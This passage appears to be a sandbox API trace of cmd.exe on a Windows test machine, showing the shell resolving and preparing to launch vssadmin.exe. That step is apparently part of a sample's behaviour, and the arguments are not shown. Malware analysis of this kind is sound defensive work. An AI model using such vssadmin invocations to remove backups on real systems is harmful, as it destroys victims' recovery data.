	[0089.957] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3255698) returned 1
	[0089.957] GetEnvironmentStringsW () returned 0x3254bc0*
	[0089.957] GetProcessHeap () returned 0x3250000
	[0089.957] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xae2) returned 0x3257738
	[0089.957] FreeEnvironmentStringsA (penv="A") returned 1
	[0089.957] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0089.958] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0089.958] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0089.958] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0089.958] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0089.958] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0089.958] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0089.958] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0089.958] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0089.958] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0089.958] malloc (_Size=0xffce) returned 0x336fff8
	[0089.958] ??_V@YAXPAX@Z () returned 0x2f5f5cc
	[0089.958] GetProcessHeap () returned 0x3250000
	[0089.958] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x38) returned 0x3250ae0
	[0089.958] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x336fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0089.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x336fff8, lpFilePart=0x2f5f618 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2f5f618*="Desktop") returned 0x17
	[0089.959] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0089.959] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2f5f398 | out: lpFindFileData=0x2f5f398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3250b20
	[0089.959] FindClose (in: hFindFile=0x3250b20 | out: hFindFile=0x3250b20) returned 1
	[0089.959] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x2f5f398 | out: lpFindFileData=0x2f5f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x3250b20
	[0089.959] FindClose (in: hFindFile=0x3250b20 | out: hFindFile=0x3250b20) returned 1
	[0089.960] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x2f5f398 | out: lpFindFileData=0x2f5f398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3250b20
	[0089.960] FindClose (in: hFindFile=0x3250b20 | out: hFindFile=0x3250b20) returned 1
	[0089.960] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0089.960] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0089.960] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0089.960] GetProcessHeap () returned 0x3250000
	[0089.960] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3257738) returned 1
	[0089.960] GetEnvironmentStringsW () returned 0x3254bc0*
	[0089.960] GetProcessHeap () returned 0x3250000
	[0089.960] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xb1a) returned 0x3256c48
	[0089.960] FreeEnvironmentStringsA (penv="=") returned 1
	[0089.960] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3350048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0089.960] GetProcessHeap () returned 0x3250000
	[0089.960] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3250ae0) returned 1
	[0089.960] ??_V@YAXPAX@Z () returned 0x1
	[0089.960] ??_V@YAXPAX@Z () returned 0x1
	[0089.960] GetProcessHeap () returned 0x3250000
	[0089.960] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x400e) returned 0x3258d50
	[0089.961] GetProcessHeap () returned 0x3250000
	[0089.961] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x84) returned 0x3257770
	[0089.961] GetProcessHeap () returned 0x3250000
	[0089.961] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3258d50) returned 1
	[0089.961] GetConsoleOutputCP () returned 0x1b5
	[0089.970] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0089.970] GetUserDefaultLCID () returned 0x409
	[0089.970] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2f5f988, cchData=128 | out: lpLCData="0") returned 2
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2f5f988, cchData=128 | out: lpLCData="0") returned 2
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2f5f988, cchData=128 | out: lpLCData="1") returned 2
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0089.971] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0089.971] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0089.972] GetProcessHeap () returned 0x3250000
	[0089.972] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x0, Size=0x20c) returned 0x3257848
	[0089.972] GetConsoleTitleW (in: lpConsoleTitle=0x3257848, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0089.975] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0089.975] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0089.975] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0089.975] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0089.975] ??_V@YAXPAX@Z () returned 0x1
	[0089.976] GetProcessHeap () returned 0x3250000
	[0089.976] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x400a) returned 0x3258d50
	[0089.976] GetProcessHeap () returned 0x3250000
	[0089.976] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3258d50) returned 1
	[0089.976] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0089.976] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0089.976] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0089.976] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0089.976] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0089.976] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0089.977] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0089.977] GetProcessHeap () returned 0x3250000
	[0089.977] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x58) returned 0x3257a60
	[0089.977] GetProcessHeap () returned 0x3250000
	[0089.977] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x1a) returned 0x3257ac0
	[0089.978] GetProcessHeap () returned 0x3250000
	[0089.978] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x70) returned 0x3257ae8
	[0089.978] GetConsoleTitleW (in: lpConsoleTitle=0x2f5f880, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0089.979] malloc (_Size=0xffce) returned 0x3362638
	[0089.979] ??_V@YAXPAX@Z () returned 0x2f5f60c
	[0089.979] malloc (_Size=0xffce) returned 0x3372610
	[0089.980] ??_V@YAXPAX@Z () returned 0x2f5f3c4
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0089.981] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0089.982] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0089.983] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0089.984] ??_V@YAXPAX@Z () returned 0x1
	[0089.984] GetProcessHeap () returned 0x3250000
	[0089.984] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xffd6) returned 0x3258d50
	[0089.984] GetProcessHeap () returned 0x3250000
	[0089.984] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x82) returned 0x3257b60
	[0089.984] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0089.984] malloc (_Size=0xffce) returned 0x3372610
	[0089.985] ??_V@YAXPAX@Z () returned 0x2f5f144
	[0089.985] GetProcessHeap () returned 0x3250000
	[0089.985] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x1ffa4) returned 0x3268d30
	[0089.986] SetErrorMode (uMode=0x0) returned 0x0
	[0089.986] SetErrorMode (uMode=0x1) returned 0x0
	[0089.986] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x3268d38, lpFilePart=0x2f5f164 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2f5f164*="Desktop") returned 0x17
	[0089.986] SetErrorMode (uMode=0x0) returned 0x1
	[0089.986] GetProcessHeap () returned 0x3250000
	[0089.987] RtlReAllocateHeap (Heap=0x3250000, Flags=0x0, Ptr=0x3268d30, Size=0x4a) returned 0x3268d30
	[0089.987] GetProcessHeap () returned 0x3250000
	[0089.987] RtlSizeHeap (HeapHandle=0x3250000, Flags=0x0, MemoryPointer=0x3268d30) returned 0x4a
	[0089.987] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0089.987] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0089.987] GetProcessHeap () returned 0x3250000
	[0089.987] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x1b4) returned 0x3257bf0
	[0089.987] GetProcessHeap () returned 0x3250000
	[0089.987] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x360) returned 0x3257db0
	[0089.992] GetProcessHeap () returned 0x3250000
	[0089.993] RtlReAllocateHeap (Heap=0x3250000, Flags=0x0, Ptr=0x3257db0, Size=0x1b6) returned 0x3257db0
	[0089.993] GetProcessHeap () returned 0x3250000
	[0089.993] RtlSizeHeap (HeapHandle=0x3250000, Flags=0x0, MemoryPointer=0x3257db0) returned 0x1b6
	[0089.993] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0089.993] GetProcessHeap () returned 0x3250000
	[0089.993] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xe0) returned 0x3257f70
	[0089.993] GetProcessHeap () returned 0x3250000
	[0089.993] RtlReAllocateHeap (Heap=0x3250000, Flags=0x0, Ptr=0x3257f70, Size=0x76) returned 0x3257f70
	[0089.993] GetProcessHeap () returned 0x3250000
	[0089.993] RtlSizeHeap (HeapHandle=0x3250000, Flags=0x0, MemoryPointer=0x3257f70) returned 0x76
	[0089.993] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0089.993] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2f5eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f5eef0) returned 0xffffffff
	[0089.993] GetLastError () returned 0x2
	[0089.993] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0089.994] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2f5eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f5eef0) returned 0xffffffff
	[0089.994] GetLastError () returned 0x2
	[0089.994] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0089.994] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2f5eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f5eef0) returned 0x3257ff0
	[0089.994] GetProcessHeap () returned 0x3250000
	[0089.994] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x0, Size=0x14) returned 0x3258030
	[0089.994] FindClose (in: hFindFile=0x3257ff0 | out: hFindFile=0x3257ff0) returned 1
	[0089.994] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x2f5eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f5eef0) returned 0xffffffff
	[0089.994] GetLastError () returned 0x2
	[0089.994] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x2f5eef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2f5eef0) returned 0x3257ff0
	[0089.994] GetProcessHeap () returned 0x3250000
	[0089.994] RtlReAllocateHeap (Heap=0x3250000, Flags=0x0, Ptr=0x3258030, Size=0x4) returned 0x3258030
	[0089.994] FindClose (in: hFindFile=0x3257ff0 | out: hFindFile=0x3257ff0) returned 1
	[0089.994] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0089.994] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0089.994] ??_V@YAXPAX@Z () returned 0x1
	[0089.995] GetConsoleTitleW (in: lpConsoleTitle=0x2f5f3f4, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0089.995] InitializeProcThreadAttributeList (in: lpAttributeList=0x2f5f320, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2f5f30c | out: lpAttributeList=0x2f5f320, lpSize=0x2f5f30c) returned 1
	[0089.995] UpdateProcThreadAttribute (in: lpAttributeList=0x2f5f320, dwFlags=0x0, Attribute=0x60001, lpValue=0x2f5f308, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2f5f320, lpPreviousValue=0x0) returned 1
	[0089.995] GetStartupInfoW (in: lpStartupInfo=0x2f5f358 | out: lpStartupInfo=0x2f5f358*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0089.995] GetProcessHeap () returned 0x3250000
	[0089.995] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x18) returned 0x3257ff0
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0089.995] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0089.996] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0089.996] GetProcessHeap () returned 0x3250000
	[0089.996] RtlFreeHeap (HeapHandle=0x3250000, Flags=0x0, BaseAddress=0x3257ff0) returned 1
	[0089.996] GetProcessHeap () returned 0x3250000
	[0089.996] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xa) returned 0x3257ff0
